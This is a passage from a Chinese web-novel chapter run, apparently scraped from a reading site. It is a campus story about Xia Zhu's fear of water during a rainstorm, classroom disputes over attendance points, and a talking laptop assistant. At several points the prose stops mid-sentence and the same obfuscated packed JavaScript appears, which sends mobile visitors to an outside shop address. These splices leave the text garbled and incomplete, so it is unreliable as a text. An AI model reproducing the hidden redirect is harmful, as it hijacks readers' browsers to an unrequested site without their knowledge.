说到这，付少校压低声音，用一只手挡住嘴巴：“这是咱们升华一班的秘密，你刚来不知道也正常。不要太当真，但也别捣乱，不然可能会有损一班形象，懂了吗？” 懂个屁，说到底不就是用花边新闻博流量，宣传部那群人怎么不退学转行直接当无良营销号算了，这还不赚的盆满钵满…… 就是不知道于支扬平时会不会逛自己的cp楼，他是一点也不介意么…… 泳池那边吹来一阵凉风，鼻腔里弥漫着消毒水的味道。 夏注垂着脑袋，头发吹到脸上，感觉痒痒的不舒服。 她把一撮长发别到耳后，心想于支扬先前删自己帖子的时候，不挺横的么，怎么一到苗渔就没关系了？这种事还挑人…… 验证完毕，至此，数生建模默默在脑子里记下第二条数据：【于支扬，双标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949825|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗。】 — 她百无聊赖地翻看着评论区，把那张私家车图片放大又看了一遍，突然抬头望天，冒出一句：“于支扬和苗渔，他们俩是邻居吗？” 付少校跟着抬头看，天空阴沉沉的，大雨来临前的常规自然现象罢了，没有什么特别。 他有些莫名其妙：“啊？不是啊，一个南边一个北边，连方向都是相反的。你为什么会问这个？” 夏注摇摇头：“我瞎猜的。” “你都没依据就瞎猜？哎呀人家家里的事别打听好吧？于支扬很少提起他家里事儿的，连我都不清楚……”少校伸了个懒腰，舒舒服服躺在靠椅上吹风，随口开始闲聊： “我倒是听说苗渔的家境不是很好，她好像还有个弟弟，很早就分流去职校了，哦，她家还有个面馆……普开始家访的时候，专门去她家吃过面……” “我们班主任，啊，我们伟大的普老师，你别看她年轻，她可是留学博士生毕业，曾经还……” “对了对了，语文课代表，就是胖胖的那个，他家是在非洲挖石油的我听说好像……” 夏注没料到跟这位少校稍微混熟一点，居然就能自动开启话唠模式，听着他一个劲朝外倒八卦，她惊讶得嘴巴都合不上： “好家伙，少校大人，你原来如此深藏不露……我宣布你以后不姓付，改姓正了……” “你才不幸福！”付少校反驳。 “我看你是新来的才好心提醒你，可别出去乱说，有什么问题尽管问我！” 夏注也不客气：“行，我遇见你和于支扬那天晚上，还记得吗？于支扬为什么跟踪我？” “没跟踪你啊……” 付少校一脸懵逼，随后一顿，终于反应过来了：“噢！那是追着班长的书包去的，跟你没啥关系……班长下自习后一般会去那接他弟回家，网吧老板又不准带包进去，所以书包肯定会留在外边。于支扬想翻一下她的书包，所以就提前……” 夏注：“……” 付少校一噎，意识到自己说错话了，慌忙摆手解释道：“我靠我靠！你别想歪好吧！我们又没想对她做什么！真的没有恶意，我们就是……” “停！” 夏注抬手打住，抹了把脸，有些无语道：“让我消化消化……” 绕这么一大圈就为了翻人家女孩子的书包，这就已经足够惊悚了好吗？ 玛德，这套建模里还有个正常人吗……怎么一个个都这么神经…… “你继续说，于支扬他究竟在找什么东西？” “好像是……” 轰隆—— 付少校话音未落，天空突然打了一声响雷，不知不觉中，四周盘桓的乌云已经在上空汇聚。 夏注回头扫了一眼，没听清。 付少校拍了拍她的肩膀，招呼她：“喂，走了，好像要下雨了。” 周围正好响起上课打铃的声音，泳池那边，大婷老师扬声道：“快下雨了，还在泳池里的同学赶紧上岸！” 苗渔也站在岸边指挥见习的同学，“快点，五分钟之内全部到体育器材室避雨！带好随身物品不要遗漏！” “下雨了下雨了，快走快回教室！” “害，什么破天气，明明刚才还好好的……”夏注周围人群四散，她立刻逆着人群朝泳池方向去跟同班汇合。 “哗啦——” 顷刻间，大颗大颗的雨珠从高处掉下来，重重砸在绿色塑胶地板上，水渍迅速晕染延伸，露出大片大片狰狞的潮湿…… 夏注呼吸一滞：是水？！ 11. 11就你最没出息 “哗啦啦……” 密密麻麻的噪点雨声从四面八方朝她涌来，夏注一阵头皮发麻，胡乱大喊了一句：“等等我！等等……” 可四周哪还有付少校的影子？ 胸腔内心跳如雷，身体却像被什么东西定住一样，无论如何也走不动道了……她独自站在雨里，好像一瞬间失去了视觉，听觉。 耳边传来一声雷鸣，夏注双手开始控制不住地颤抖。 周围似乎有许多人的脚步声正在靠近，有人正在大声呵斥什么……不远处，她听见有个孩子正哭得撕心裂肺…… 夏注感觉自己正站在百尺高楼之上，再往前即是万丈深渊。 皮肤上传来冰冷的触感，有人用刀子死死顶着她的脖颈，附在她耳边轻轻叹息：“夏教授，你真是好伟大啊……” “你为什么要回来？你不该回来的，你就该死在外面……” “你自己跳下去，跳啊！” “……” — “班长和体委清点一下人数，看看人到齐了没有？” 体育馆一楼器材室，大家正坐在刚腾出的空地上擦头发，大雨来得突然，不少人还是被淋湿了。 “烦死了，昌A市这破天气，三天两头就下雨，这节游泳课又废了……”有人靠在窗边小声抱怨，“希望待会儿放学时候别下雨求求了，我今天没带伞……” 外面雨势比刚才更大了，雨点噼里啪啦打在玻璃上，在室内说话声音稍微小一点就听不清楚。 “二十二，二十三，二十四……”苗渔在走廊上转了一圈，又进屋重新数了一遍，人数还是不对，不禁露出焦急神色。 “诶？女生好像少了一个？” “哪个不在？”大婷老师站在门外台阶上，正说着就要翻开名单一一核对。 众人相互看了一眼，人群中有人问：“是新来的那个女生不在吧？她好像是见习的？” “对啊，我刚才在泳池边就没看见她……她没来上课吗？” “怎么回事？这也能走丢吗？” 大婷老师脸色不太好看，把考勤本朝窗台上重重一拍：“不会游泳就在旁边看着！我说过多少次了，还敢到处乱跑！跑远了连大集合都跟不上，我说多了你们还不乐意听……” 众人纷纷转头各自忙碌，要么借毛巾擦头发，要么趴在窗户上看风景，没人再出声。 “等一下。” 在走廊另一端清点人数的于支扬突然举起一只手，抬高音量道：“是我让夏注离泳池远一点的！” 众人一听，齐刷刷停下手里的动作抬起头，连躲在角落打瞌睡的都清醒了一半。 哟，什么情况，领地驱逐？ 太敢了。 “胡闹！我说过多少次所有人不得离开泳池范围！你是一班的体委，连你都把我的话当耳边风吗？于支扬就你这不守规矩烂脾气迟早要闯大祸！”大婷老师一听，彻底火了。 “抱歉老师，您一直忙着训练，我没来得及报备。” 于支扬站直身子，被当众批评了，脸上依旧没什么局促神色。 不等老师开口，他又补充上一句：“夏注她情况特殊，我这也是担心她在您的课上出意外，给您添麻烦。我本来只让她在栅栏外面活动，谁知道她自己掉队了没跟上来，哦当然，这也有我的责任。” 众人脸上的表情从兴奋到紧张，最后纷纷流露出一副果然如此的神色…… 看看，就这张嘴，就这反应速度，乍一听完全是一副好心好意为老师考虑的姿态。不管于支扬到底是不是故意不报备，不管他究竟有没有驱赶夏注，就问谁还生气得起来？ 果然，大婷老师的脸色稍微缓和下来，叉着腰一连做了几个深呼吸，最后厉声道：“那你还不快去把人给我找回来！” “必须在这节课下课之前找回来！下课我要点名的，听见没？” 于支扬不自觉皱起眉毛，“知道了……” — 一楼器材室是距离游泳馆最近的避雨点，从泳池右端顺着台阶一路朝上，没几步路程就是体育馆大楼。这栋楼空间开阔，冬暖夏凉，因而户外上游泳课的班级遇到特殊天气时，大多都会到这里暂避。 这栋楼唯一的缺点是视觉遮挡。 楼下有一片菜园子，据说是十几年前开展劳作活动时留下的学生杰作。新来的校长想布景，年纪大的领导又不舍得掀，最后争来争去，分出一半改种了格桑花。 隔着菜园子与体育馆大楼遥遥相对的，正是高中生们平时上体育课的场地。 大雨连续下了十多分钟，丝毫没有停下来的迹象。 于支扬撑着伞站在最高一级台阶上，视线远远扫上一圈，就能将游泳馆整个内场尽收眼底。他从泳池周边的栅栏、到远处篮球场、排球场依次看过去，还是没发现夏注的影子…… 于是微微皱眉，最后盯着旁边的菜园子陷入沉默：真钻进地缝了？还是回教室了？总不可能把自己种进菜园子里去了吧…… 犹豫片刻，于支扬转身，把伞偏向一边，一脚踩进了身后菜园子的泥泞土壤里。 他顺着番茄树和格桑花中间留出的夹缝小径，一路往前，走的很慢。 五颜六色的格桑花将近一人高，不少茎叶被风雨折断，歪歪扭扭挡在小路中央。于支扬左手握伞只顾着遮挡头，另一侧胳膊扫过纤细嫩叶，感觉痒痒的。 他一边走一边留意周围动静，直到这条狭窄小路走到尽头了，依旧没看见任何人的影子。 于支扬垂眼，看着自己拖鞋鞋底上又厚又重的一层红色泥巴，觉得自己傻B透了…… 为什么要冒着大雨出来找人？为什么要在雨天踩泥巴？他为什么会觉得那人会躲进菜园子里？她怎么不干脆把自个儿埋进土里？…… 好离谱。 好像有点，被她带歪了…… 伞面下的雨点声啪嗒啪嗒响个不停，于支扬甩甩脑袋，想把自己脑子里的全部想法甩出去。 好烦…… “啧，麻烦。” 于支扬：“嗯？！！！” 旁边突然传来一声动静，不大不小，却格外清晰。于支扬猛然回头，见格桑花边缘的自行车车棚里，蜷缩着一个橙橘色身影…… 找到了。 — 夏注恨不得把自己整个脑袋埋进膝盖里。 她觉得自己应该是被原装姐的破毛病连累了，居然出现了幻觉。 从高空极速下坠的那种失重感极尽真实，过了好半天依旧挥之不去。她刚才像被抽走了全身力气，最后一回神，发现自己其实也只不过是摔在平地上而已。 只是膝盖磕破了一块皮。 自行车棚顶上就一片彩钢瓦，莫说挡风，甚至连遮雨都很勉强，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949826|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是让夏注此时挪动地方，估计更加勉强。 夏注把脸埋进臂弯里，胸腔里的心跳声响彻天，隐隐感觉有些呼吸不畅，好像全身血液都在不停往上窜。 这会没力气的劲儿已经过去了，听着四面八方噼里啪啦的流水声，她感觉自己五脏六腑都在叫嚣着： 快！一拳干翻这辆自行车！ 然后另一半有个理智小人在说：别，会手疼。 这该死的雨季究竟什么时候才会彻底过去？原装姐这雨天发疯的毛病实在太碍事，到底是怎么染上的…… “啧，麻烦。” 正强迫自己大口大口调整呼吸，她突然嗅到了一股消毒水的味道。 她把脸抬起一点，侧着身子微微转身，就见于支扬站在她身后，正歪着半边脑袋，一脸玩味地看着她，不知道已经看了多久…… 两人视线刚对上，于支扬冷哼一声，毫无诚意地勾起嘴角：“哟，还知道找地方避雨，还不傻嘛！” 夏注：“……” “找你半天了，跟我走吧！”他说着，微微躬下身，朝夏注摊开一只手。 夏注面无表情盯着他的脸，一秒，两秒，三秒…… 突然两只手掌交叠捂住嘴巴，迅速转身“呕——！” 于支扬：“……” “呕——呕——！” 于支扬：“……！” 见夏注背对着他扶着自行车一个劲干呕，于支扬嘴角不可控制地狠狠一抽，扬声道：“喂！喂喂喂？夏注你几个意思啊？见到我至于恶心成这样？” “等……呕——等一下！” 夏注举起一根手指，用力喘息着，声音有些接不上：“不是……脸的问题……” 于支扬：“……” “你身上的消毒水味实在太……太重了……” “……” 于支扬简直气笑了：“夏注，你能不能有点出息？整个昌A一中哪个学生身上没有消毒水味啊？你要是不早点适应，迟早得熏死你！” 夏注蹲在自行车旁边擦嘴，声音闷闷的：“滚蛋！” “那可不行，老师叫我在下课之前把你带回去。”于支扬朝她走了两步，突然伸手毫不留情拽起夏注的半边胳膊：“走吧！” 夏注就着这个姿势向后一拐，于支扬眼疾手快迅速避开，却不松手，夏注用力挣扎起来：“等等等等！不行，我不行！” “怎么不行？快点，否则要下课了！” 于支扬抬高音量，抓着她的动作从胳膊滑到手腕，用尽全身力气想把夏注从地上拽起来，对方却一直反抗。 “不行不行，我不去，你放开我，我怕水！” “你怕什么怕有我在呢！快点！” 于支扬语气逐渐不耐烦，改为两只手一起拽她，夏注被他像个物件一样拖着往前滑了几步，只听于支扬滔滔不绝：“来来来起来，你不要害怕，我跟你说，你总要克服困难吧，不克服不试试你怎么知道？” “我TM真不行！我腿软了！” “你腿软什么腿软，你就……” 于支扬视线下移，突然看见夏注膝盖上破皮了一块。 他停顿了一瞬，手上力道逐渐放轻。嘴上却半点不饶人：“啧啧啧，请问你是着急逃跑的时候摔了一跤么？” 话到最后，尾音逐渐上扬。 夏注：“……” 12.12又怂又爱装 于支扬肩膀一抖一抖的，夏注见他笑得放肆，再也忍无可忍，勾动手指引他靠近，然后冲着那张脸一巴掌呼上去。 “笑个屁！” 这一巴掌没打中，于支扬把头向后一仰就避开了。只是嘲讽地勾了勾嘴角，也不生气，见夏注气鼓鼓的，干脆蹲下身子与她平视。 夏注冷眼看着他，见于支扬一脸不怀好模样，仿佛贬低人的话下一秒就要说出口。 果然，她刚偏过头，于支扬就前倾过来凑到她耳边，声音幽幽道：“夏注，你好像在发抖啊？我以前还从来没遇见过有人怕水呢，游泳课都普及这么久了，你说整个市区高中，有谁像你这么没出息的？” 夏注斜着眼睨他，漫不经心道：“偷翻女生书包，说的你很有出息似的……” “嗯？你说什么？” “我说滚蛋。” 于支扬顺势起身，眸底浮起一抹疑惑神色：“这好像是你今天第二次叫我滚了？” “废什么话？你不是最讨厌我吗？叫你滚你还不乐意了？” “你当我想跟你浪费时间？”要不是老师叫我来找你…… 后半句于支扬没说出来，他抬起头看看天，又扫了一眼夏注膝盖上的伤口，心想这要是碰水的话，天气一热起来肯定会发炎…… 话又说回来，破点皮而已，又不是什么大事。 正在此时，风口处刮来一阵大风，空中的雨点拐了个弯，被风速裹挟着吹进车棚，夏注冷不丁被雨淋了一身，喊道：“啊啊啊雨被大风吹进来了！” 于支扬表情十分无语：“你至于么？就是溅几滴水而已……” 啧，又怂又爱装。 车棚顶上的彩钢瓦被掀飞了一颗螺丝钉，发出“咯吱咯吱”的响动，于支扬四处张望了一圈，最后看向正固执缩在角落里，打死也不肯挪位的夏注…… 他无声地叹了口气，默默收起伞，朝她走了两步，然后转身背对着夏注，用身体替她挡住了一部分雨水。 啧，只是破点皮，娇气什么。 这么做绝对不是为了帮她，毕竟下周一还有两节体育课呢，他只是不想到时候夏注找借口请假，说什么伤口发炎了……他这是为了保障体育课的通勤率。 没错就是这样。 “？” 夏注抬起头，略微诧异地看了他一眼。 于支扬的视线从远处收回，故意抖了抖手里的伞，头也不回道：“喂，坐过去点，给我腾个位置！” “干什么？”夏注说着，果然朝里面挪了一个位置。 “等雨停再走呗。” 于支扬随手把伞丢在柱子边，屈起一只膝盖，紧挨着夏注坐下。这豪迈松散的姿势，一下子把夏注挤到了两辆自行车中间。 夏注眉毛紧锁，抱着自己两条的小腿，又朝里面挪挪。心想真是见鬼，怎么每次跟于支扬见面总是在她狼狈或者遇见麻烦的时候…… 于支扬盯着她看，心想也真是见鬼，怎么每次遇见她都要替她收拾烂摊子…… 看来只能等雨停再走了。 两人相互看了一眼，又齐刷刷偏过头：烦，这雨到底什么时候才会停啊…… 气氛冷场，谁也没再说话，就这么大眼瞪小眼坐了一会，直到这节课下课铃声响起…… “糟糕，下课了。”夏注小声道。 “是啊，这下我是真不用带你回体育器材室报道了，下个星期的游泳课，老师估计得骂死我……” 于支扬在冷笑，夏注再傻也听得出这分明是在表达不满。 “行行行，是我不对，是我连累你……” 她抬头看了一眼天上密布的乌云，时间一分一秒过去，雨势丝毫没有变小的意思。想了想，突然道：“于支扬。” 于支扬回头，听见夏注说：“下节课是英语吧？教英语那个老头挺凶的，要不你先回教室？” “……” “不去，要走一起走。” “哇于支扬，我今天才发现你还挺仗义的！” “你想多了。”于支扬打断她的话，“你当我傻？我凭什么一个人冒着大雨回去，最起码应该拖上你一起。” 夏注无言以对，蜷缩在两辆自行车中间独自生气。 心想于支扬怎么这么小气？说句好话能死吗？自己就从不吝啬于夸奖，这样一比她可太心胸开阔了！ 半晌没人说话，于支扬突然回头，用手里不知从哪摘来的狗尾巴草戳了戳夏注。 夏注一下子拍开，叱道：“干什么？没礼貌！” “嘿，你能不能跟我说句实话，你究竟怎么考进一班的？你真没作弊？”于支扬疑惑道。 又是这个问题！翻来覆去地问就没人嫌他烦吗？ 明明都已经解释过很多遍了还问，夏注摸不清于支扬此时问这个是什么用意，逗弄她还是随口闲聊？或者他真的很在乎真相，这么着急把她赶出一班。 想到这，夏注转过身：“滚，我拒绝跟你搭话！” 身后传来一声低笑，夏注不胜其烦地捂住耳朵。 — 升华一班教室。 天空彻底放晴，于支扬夏注两人换回校服，急匆匆返回教室的时候，最后一节课已经超过一半。 “我说过多少次！看选项看选项！完形填空必须先看选项再代入原文！” “怎么被扣了这么多分？啊？闭着眼睛瞎填啊！以后出去别说是我学生……” 两人在走廊上隔着老远，就听见英语老师的咆哮。 教室侧窗外面，夏注踮起脚尖朝里面瞄了一眼，身后的于支扬突然按下她的肩膀，小声道：“看来咱俩运气不是很好，英语老师正在里面发火呢……” “什么时候了你还笑的出来？”夏注白了他一眼。 “报告！” 于支扬和夏注的声音一前一后响 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英语老师一脸狐疑，看看于支扬，又看看夏注，突然问：“你们俩单独去自行车棚里干什么？” 夏注：“……” 于支扬：“……” “有道理啊，不愧是老师，一抓就是重点……” “对哦，于支扬不是去接人吗？怎么他们一直到下课也没回来……” 有个屁的道理。 夏注循声望去，见后排几个眼熟的学生正垂着脑袋，估计又拿着手机开始造谣了…… 英语老师突然回过味来，大概也意识到这话说的不对，赶紧扯开话题： “吵什么吵，看看你们考的破分数，还有心思管别人的事？还有你于支扬，成绩再好也要注意保持！别想些有的没的，这可不是好兆头！我就是提醒提醒，千万别做让自己后悔的事……” 到底是谁在想些有的没的？ 于支扬夏注两人不约而同看了对方一眼，嫌恶地撇了撇嘴角，表情如出一辙：“老师，我们不是……” “行了行了，赶紧回座位吧，别耽误时间！” 两人刚落座没一会，放学铃声准时响起。英语老师简单交代几句，离开教室后，大家纷纷开始收拾书包。 夏注趴在桌子上松了一口气，心跳恢复正常，血压恢复正常……看着窗外放晴的蓝天，心想这么下去不是个事，一节游泳课差点要了她半条命，要是每次都这么折腾谁受得了？她得想个办法尽快解决这个毛病…… 真这么想着，眼前突然出现一道身影，挡住了她的视野。 夏注视线上移，看见沈通正站在课桌前，身板竖的挺直，看向她的眼神古井无波。 见夏注抬了头，他也不说话，像根木头似的杵着不动。 夏注：“……你有事吗？” 13.13大佬，受教了 “签字，谢谢。” 沈通掏出考勤本，放在夏注面前，说完又顺手调转方向，把钢笔递给她。 ［扣分理由：迟到，-3分］。 夏注捧着考勤本，照着上面的字念出声来，最后仰起头，尽量保持脸上平和的微笑，本来想脱口而出“你个木头”的，想了想，又改口道：“沈部长，你讲点道理好吗？” “我这次真不是故意迟到的，下雨是特殊状况，特殊状况，你懂吗？就不能通融通融？” “不能，30分钟，太长。” 周边视线一道接着一道看过来，沈通脸上的表情没什么变化，直接把钢笔塞进夏注手里。 这意思是没得商量。 夏注看着硬塞过来的钢笔，笑不出来了：“沈通，凡事都有例外，你这的确有点……小题大做，做人不能这么死板……” 她说到最后，声音越来越小。仔细想想，这次是她有错在先被沈通抓住了把柄，反驳起来没什么底气，于是干脆闭了嘴。 一中的考勤分数虽然不多，却直接影响到优秀学生的评选和各种活动的参与资格，好像很重要，于她而言又好像不重要。 就这么想着，后排有人开口道：“算了吧沈通，人家也不是故意的……” “3分而已，没必要斤斤计较吧…… “哎呀沈通，人家新同学体质特殊，雨又太大了，也不是解释不了，你同情一下？” “我同情，但不是放过。”沈通推了推眼镜，视线扫过一圈，最后落在班长苗渔身上。 整个教室寂静无声，夏注跟着他的目光看过去，见苗渔不慌不忙地放下课本，坐直身子道：“不用看我，除了班里的重大决策，我和于支扬沈通的班级内务管理，一向互不干涉。” 懂了，大事管不了，小事不想管。 谁叫三角形具有稳定性呢，所有人都已经默认了这个规则。夏注轻轻吁出一口气，感觉对这个小小班级的结构了解更进一步，于是低头开始签字。 直到手里的钢笔突然被人抽走。 总有不可控因素乐于打破规则。 — “下雨这叫不可抗力，你明白吧？” 下一秒，身后突然响起一声清亮干脆的嗓音，夏注迅速回头，见于支扬站在她身后冲她一挑眉。 “于支扬！” “嗯哼。” 于支扬头发半干，前额刘海被全部捋到后面露出完整的浓眉，几缕碎发又顺着惯性垂落下来，平添几分外放的侵略气息。 他应该是刚在外面用毛巾重新擦过一遍，又从后门绕进来的。 夏注盯着他看，可惜从这个角度实在看不出什么威严感，只有微张的唇角，两边脸颊上凸起的一块和毛茸茸的脑袋，神似某种大眼萌物。 她隐隐有些控制不住嘴角弧度，心想真TM见鬼，谁家好刺头居然是年级第一啊…… 刺头漫不经心玩转着手里的钢笔，一开口就是：“3分太多了，扣1分。” 这话是对着沈通说的，空气中弥漫着淡淡的火药，夏注故意没出声，想趁机看清这些镇楼大佬的日常对峙究竟有什么门道。 果不其然，沈通脸色立刻变黑，连带着声音也高了一倍：“不讲价！” “一节课1分，一节课都没到下课，那就扣半分！” “3分就是3分！” “顶多1分！” “多管闲事，你跟她一样！” “沈通你差不多行了……” 于支扬单手转笔，故意在沈通眼前晃了一圈，最后一屁股坐在夏注课桌上：“到底是谁多管闲事？英语老师都没说什么，怎么就你罗里吧嗦？” 沈通：“你签不签？” “不签。迟到要扣分是没错，但扣分之前要参考本节课老师的意见予以惩戒，刚才英语老师没说要罚啊，那好像就不用扣分了……” 此言一出，在场所有人突然陷入沉默。 夏注想起好像是有这么一个前提条件，不禁心底一震，细细打量起于支扬来。 这个人，说他不遵守规章制度吧，他能精准背下每一条细则，还能发现bug钻漏洞免去责难；说他遵守吧，他又总是雷区蹦迪从来不按规定做事。 “强词夺理！” 沈通出手夺回钢笔，胸口剧烈起伏着，似乎气得不轻：“错就是错，纪律部，不归你管！” “是是是，不归我管，那鬼地方谁爱管？”于支扬冷哼一声，“在班里咱互不干涉，你也别以为我一无所知啊，就你那些乱七八糟的班规校规，我记得肯定比你更清楚，没办法，谁叫我记性这么好？” 沈通：“……” 夏注：“……” 不是羊sir，你好装啊。 夏注轻咳一声，突然抓住一本被于支扬压住的课本，用力一抽。 于支扬脚尖落地，顺势起身，回头怪异地瞧夏注一眼，不明所以。回头继续对着沈通道：“那么你还有话吗，沈部长？今天我和夏注的分，就不用扣了吧？” 沈通没说话，冷冷扫过二人，在全班同学的目光中收回考勤本，转身回自己座位。 “哇，好厉害。”夏注朝于支扬，竖起大拇指，面无表情道：“大佬受教了，多谢。” 于支扬见鬼似的皱起眉毛，一脸嫌弃：“啧，你被他传染了？想什么呢，我只是不想自己被扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【什么话？】 “既定之外，意识无期。” 【我听不懂。】 “没关系，我也不懂。我只是经常听我的建模师这么说，大概意思就是，人类在既定的结局之外有其他无限可能，不受死亡所限制。” “砰——” 话音未落，房间门突然被人推开，夏注嘴角的笑意尚未消散，迅速转头看去，见夏加林抱着笔记本站在门外，一只脚还保持着踢门的姿势…… 14.14下来打球赛！ “夏加林，我说过未经允许不要进我的房间，你会不会敲门？” 夏加林一只脚刚踏进门，又被夏注的眼神逼退回去，目光一个劲儿的在房间里打转。 “你刚才在跟谁说话？”他问。 “我自言自语不行？有事说事。” “果然有病……”夏加林小声嘟囔一句，怀里的电脑发出“滋滋”的游戏背景音，他才终于想起正事，赶紧把屏幕转过来对着夏注，眼神疯狂暗示。 夏注不明所以：“这怪兽好丑……” “哎呀！”夏加林气得跺脚，“这个不是重点，你过来，快来帮我抽张卡！” 夏注：“……” “我太倒霉了，我这几天抽卡抽的全是扫把星！你上次碰了一下我的电脑就出了SSS级角色！你手气应该不错，好妹子你帮帮我？” 什么扫把星？什么抽卡？ 夏注缓缓看向自己身侧的笔记本电脑，只听它解释道：【他是说网游《罗安世界》里的角色抽卡，扫把星是最低级的宠物兽，我上次还失手送了他一只满星角色呢！】 夏注嘴角缓缓勾起：哦，所以是你让他一直抽扫把星的吗？ 【当然！谁让这个人类一直欺负你？】 “噗……”干得漂亮。 见夏注不说话，夏加林有些不确定：“你笑什么呀？你到底帮不帮忙？” “急什么，我又没说不帮，进来吧！” 夏加林大喜过望，抱着笔记本三两步蹦到夏注跟前递给她。夏注及其配合的帮他抽卡，果不其然，夏加林眼前一亮又一亮，最后高高兴兴抱着电脑回自己房间了。 门合上的那一刻，语音助手突然出声：【为什么要帮他？】 “未尝不可啊。” 夏注靠在椅子上转了一圈，指尖有一下没一下拍打着扶手，“早知道夏加林这么好控制，我先前还花那么多心思干什么？只要我这个哥哥不捣乱，跟他处好关系也不过是顺手的事～” 屏幕上出现一个无语的表情包：【抽张游戏卡就被收服了，人类真没出息。】 夏注轻轻吁出一口气，闭上眼睛温声道：“你不懂，不是没出息，而是因为热爱。” 空调通风口散出阵阵凉意，声音不大，房间里静悄悄的，夏注的声音格外清晰：“对于夏加林这样的网瘾少年来说，游戏里的每一个角色都是有生命的，他们不是纸片人，而是真实存在的个体。” “这一类人，甚至可能比一般人更容易接受数生建模的存在。” — 周一下午，最后一体育课。 后半节课自由活动时间，一班学生自发组队打篮球，谁料中途体育七班突然加入，原本舒适放松的氛围一下子紧张起来。 两个班共用一块场地略拥挤，最后双方一合计，决定每班出一部分人来场友谊赛，男女混打，三局两胜。 夏注原本靠边刷试卷，闻言只能暂时放下题目，到前排给一班加油。 只是她没想到七班今天带队的人居然是夏加林。 “shift！夏注！我才是你哥！哪有你这种胳膊肘往外拐的？！你还是不是我妹了？” 这是今天夏加林第四次吐槽了。 “谁是你妹？我只替一班加油没你的份！”不管是不是亲哥，集体荣誉面前通通靠边站！ 一中升华七班到十二班全是特长班，夏注很早就知道夏加林走体育生的路子，只是没想到这人平时在家一副吊儿郎当的逆子样，打起球来还真像那么回事。 “一班加油！一班加油！”“靠！挡住夏加林那个！快点！” “啊啊啊啊啊给劳资进球！” 站在夏注身侧加油助威的短发女生，是一班出了名的豪迈女侠，江湖人称“宝爷”。 杨宝儿小小一只，瓜子脸，淑女编发，一米五的个子，二米八的气场。她站在场外放声吼这一嗓子，不禁给场内一群正在比赛的大高个儿吓得抖上三抖…… “接球！接球啊！麻了这也能被截胡！干什么吃的！” 夏注被她吼得脑瓜子嗡嗡响，还不忘腾出一只手拦住上蹿下跳的杨宝儿。耳边不断充斥着宝爷的怒喝声，以及来自四面八方拉拉队的呼喊。 “哔——” 哨声吹响，第一场4:1，七班凭借精准三分暂时领先。 “输了？这也能输！我就说七班那个狗要变向啊！”杨宝儿重重一跺脚，指着对面正冲一班扮鬼脸的七班回怼：“得意尼玛！下一场来战！看姐怎么教你们做人！” 场内又是一阵哄闹声。 宝爷果然说到做到，第二场亲自带组上场，宝爷主攻，苗渔辅助，末尾以7:7拉平比分。 临近下课时间，场上赛事陷入白热化，第三场事关最终的胜负，于是两边各自埋头斟酌人选。俗话说得好，术业有专攻，按理说文化班输给体育班不丢人，可一班又什么时候输过？ 最终班长苗渔的结论是：想赢必须稳准狠，最好还要速战速决。人家七班人人当先，咱也必须个个参与。 于是众人齐刷刷看向身后的观众席。 于支扬盘着一条腿坐在最后一排刷试卷，中途被叫支援N次，他每次都积极回复“马上马上”，实际上眼皮都没抬一下。 隔于支扬对角方向最远的位置上，沈通也在埋头扫题，对其他人打球的邀请，更是一个标点符号的回复都没有。 夏注把他们幻视成了两个不倒翁。 可能学霸有学霸回应的方式吧，某些人被推了一把，看似反应积极，实则敷衍至极；有些人则直接拒绝沟通，不都是回应？ 准备倒计时，那边已经确定好第三场的上场人选，正在制定战术，七班带队的依旧是夏加林。 双方隔着一个篮球场，夏注偶然偏过头，见夏加林正在看她，两人视线一对上，夏加林冲着她挑衅一笑，然后比了个大拇指朝下的手势。 夏注：“……” 凑上来的脸不打白不打，她回头向苗渔自荐：“班长，第三局我想上。” 苗渔一脸诧异问：“啊？你可以吗？” “可以什么可以？她新来的，都没跟我们打过配合，还不熟悉我们的战术，绝对不行！”杨宝儿圈着苗渔的手臂晃了晃，坚决反对。 “战术都还没定，你怎么知道我不行？” 夏注把手背在身后，朝苗渔走近两步，冲着远处扬了扬下巴，“夏加林最大的技巧是临时转向，而我可以预测他的下一步行动，还能随时变通打配合，你觉得我行不行？” 苗渔略微迟疑，她听说过这俩人是兄妹，那么夏注了解夏加林的习惯，好像也不无道理，毕竟知己知彼百战百胜。 想到这，她还是点头答应了。不过，为了确保比赛胜出…… 苗渔转头冲着观众席大喊一声：“于支扬！沈通！下来打球！” 班长亲自开口了，这种半强制的命令口吻总不好拒绝。 果然，夏注看着于支扬一脸不耐烦地抓起外套，从第四级台阶上跳下，不紧不慢朝这边走来，靠近时，脸上的表情管理已经完美无缺。 沈通倒是没表现出什么，把卷子暂时放在椅子一边，就起身下来了。 男女生们围在一起，简单几句话讨论战术。 于支扬侧首瞧见夏注在身侧，不禁挑起半边眉毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 